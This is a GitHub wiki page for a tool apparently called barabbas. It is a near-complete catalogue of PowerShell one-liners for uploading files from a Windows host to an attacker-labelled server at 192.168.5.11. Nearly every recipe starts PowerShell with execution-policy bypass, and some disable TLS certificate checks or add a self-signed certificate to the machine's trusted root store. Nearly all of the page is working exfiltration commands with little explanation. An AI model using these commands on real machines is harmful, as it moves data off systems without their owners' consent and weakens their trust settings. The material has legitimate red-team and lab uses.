UL_ _Win_ _PowerShell - lighthouseitsecurity/barabbas GitHub Wiki

File Upload ➔ Windows ➔ PowerShell

OVERVIEW:

(identify supported options - Windows - file upload - PowerShell)

powershell.exe -ep bypass -nop
$cls='Invoke-RestMethod','Invoke-WebRequest','Start-BitsTransfer'; "[*] PowerShell - file upload - available options"; foreach ($cl in $cls){Get-Command -Name $cl|Out-Null; if($?){"   [*] $cl"}}; $cos='Msxml2.ServerXMLHTTP','Msxml2.XMLHTTP','WinHttp.WinHttpRequest.5.1'; foreach ($co in $cos){New-Object -ComObject $co|Out-Null; if($?){"   [*] $co"}}; $ncs='System.Net.WebClient'; foreach ($nc in $ncs){New-Object -TypeName $nc|Out-Null; if($?){"   [*] $nc"}};

Invoke-RestMethod (HTTP; HTTPS)

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • PowerShell cmdlet
    • aliases:
      • irm
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server
    • PowerShell >= 6.0.0 supports certificate validation check skipping, using -SkipCertificateCheck switch

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $headers=@{'Content-Type'="multipart/form-data; boundary=$boundary"}; $res=$(Invoke-RestMethod -UseBasicParsing -Method POST -Headers $headers -Body $body -Uri "http://${ATT_HOST}:$ATT_PORT$ATT_PATH"); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: if using HTTPS, replace http with https

4. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $headers=@{'Content-Type'="multipart/form-data; boundary=$boundary"}; $res=$(Invoke-RestMethod -UseBasicParsing -Method POST -Headers $headers -Body $body -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH"); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $headers=@{'Content-Type'="multipart/form-data; boundary=$boundary"}; $res=$(Invoke-RestMethod -UseBasicParsing -Method POST -Headers $headers -Body $body -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH"); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Invoke-WebRequest (HTTP; HTTPS)

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • PowerShell cmdlet
    • aliases:
      • iwr
      • wget
      • curl
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server
    • PowerShell >= 6.0.0 supports certificate validation check skipping, using -SkipCertificateCheck switch

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $headers=@{'Content-Type'="multipart/form-data; boundary=$boundary"}; $res=$((Invoke-WebRequest -UseBasicParsing -Method POST -Headers $headers -Body $body -Uri "http://${ATT_HOST}:$ATT_PORT$ATT_PATH").Content); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: if using HTTPS, replace http with https

4. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $headers=@{'Content-Type'="multipart/form-data; boundary=$boundary"}; $res=$((Invoke-WebRequest -UseBasicParsing -Method POST -Headers $headers -Body $body -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH").Content); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $headers=@{'Content-Type'="multipart/form-data; boundary=$boundary"}; $res=$((Invoke-WebRequest -UseBasicParsing -Method POST -Headers $headers -Body $body -Uri "https://${ATT_HOST}:$ATT_PORT$ATT_PATH").Content); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Msxml2.ServerXMLHTTP (HTTP; HTTPS)

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms763684(v=vs.85)

https://learn.microsoft.com/en-us/windows/win32/winhttp/about-winhttp

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises WinHTTP
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $ul=(New-Object -ComObject Msxml2.ServerXMLHTTP); $ul.open('POST',"http://${ATT_HOST}:$ATT_PORT$ATT_PATH",$false); $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $ul.setRequestHeader('Content-Type', "multipart/form-data; boundary=$boundary"); $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $ul.send($body); $res=$($ul.responseText); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: if using HTTPS, replace http with https

4. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $ul=(New-Object -ComObject Msxml2.ServerXMLHTTP); $ul.open('POST',"https://${ATT_HOST}:$ATT_PORT$ATT_PATH",$false); $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $ul.setRequestHeader('Content-Type', "multipart/form-data; boundary=$boundary"); $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $ul.send($body); $res=$($ul.responseText); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Msxml2.XMLHTTP (HTTP; HTTPS)

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms762275(v=vs.85)

https://learn.microsoft.com/en-us/windows/win32/wininet/about-wininet

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises WinINet
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $ul=(New-Object -ComObject Msxml2.XMLHTTP); $ul.open('POST',"http://${ATT_HOST}:$ATT_PORT$ATT_PATH",$false); $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $ul.setRequestHeader('Content-Type', "multipart/form-data; boundary=$boundary"); $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $ul.send($body); $res=$($ul.responseText); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: if using HTTPS, replace http with https

4. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_1MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $ul=(New-Object -ComObject Msxml2.XMLHTTP); $ul.open('POST',"https://${ATT_HOST}:$ATT_PORT$ATT_PATH",$false); $content=([System.Convert]::ToBase64String((Get-Content -Path $LFILE -Encoding Byte))); $a=''; for($i=0; $i -lt 32; $i++){$a+=Get-Random -InputObject @([Char[]]'0123456789abcdef');}; $boundary=$('-'*32)+$a; $ul.setRequestHeader('Content-Type', "multipart/form-data; boundary=$boundary"); $body="$boundary`n"; $body+="Content-Disposition: form-data; name=`"file`"; filename=`"$LFILE.b64`"`n"; $body+="Content-Type: text/plain`n`n"; $body+="$content`n"; $body+="$boundary--`n"; $ul.send($body); $res=$($ul.responseText); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER; BASE64): $($matches[1])";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [SERVER] base64-decode file

export LFILE="testfile_1MB";
cat ${LFILE}.b64 | base64 -d > $LFILE; rm ${LFILE}.b64; md5sum $LFILE;

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

Start-BitsTransfer (HTTP; HTTPS)

https://learn.microsoft.com/en-us/powershell/module/bitstransfer/start-bitstransfer

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • PowerShell cmdlet
  • uses BITS_POST (HTTP request method) for file upload
    • check barabbas source code for more information
  • may get stuck (BITSadmin client not starting upload)
    • restart web server (barabbas)
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

3. [CLIENT] remove any previous downloads, which may interfere

Get-BitsTransfer | Remove-BitsTransfer;

4. [CLIENT] upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; Start-BitsTransfer -Transfertype Upload -Source "$pwd\$LFILE" -Destination "http://${ATT_HOST}:$ATT_PORT$ATT_PATH$LFILE";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] remove any previous downloads, which may interfere

Get-BitsTransfer | Remove-BitsTransfer;

5. [CLIENT] upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; Start-BitsTransfer -Transfertype Upload -Source "$pwd\$LFILE" -Destination "https://${ATT_HOST}:$ATT_PORT$ATT_PATH$LFILE";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

System.Net.WebClient.UploadFile (HTTP; HTTPS)

https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.uploadfile

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • .NET class method
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User -> Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

3. [CLIENT] upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $res=$([System.Text.Encoding]::ASCII.GetString((New-Object System.Net.WebClient).UploadFile("http://${ATT_HOST}:$ATT_PORT$ATT_PATH","$pwd\$LFILE"))); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER): $($matches[1])";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

3. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

4. [CLIENT] base64-encode and upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $res=$([System.Text.Encoding]::ASCII.GetString((New-Object System.Net.WebClient).UploadFile("https://${ATT_HOST}:$ATT_PORT$ATT_PATH","$pwd\$LFILE"))); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER): $($matches[1])";

(HTTPS with self-signed X.509 certificate) - check certificate

1. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

3. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

4. [CLIENT] upload file

echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $LFILE -Algorithm MD5).Hash)"; $res=$([System.Text.Encoding]::ASCII.GetString((New-Object System.Net.WebClient).UploadFile("https://${ATT_HOST}:$ATT_PORT$ATT_PATH","$pwd\$LFILE"))); $res -match '</span></strong>.*\(MD5 ([^()]+)\)</pre>' > $nul; echo "[*] REMOTE MD5 (SERVER): $($matches[1])";

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

5. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

WinHttp.WinHttpRequest.5.1 (HTTP; HTTPS)

https://learn.microsoft.com/en-us/windows/win32/winhttp/winhttprequest

https://learn.microsoft.com/en-us/windows/win32/winhttp/about-winhttp

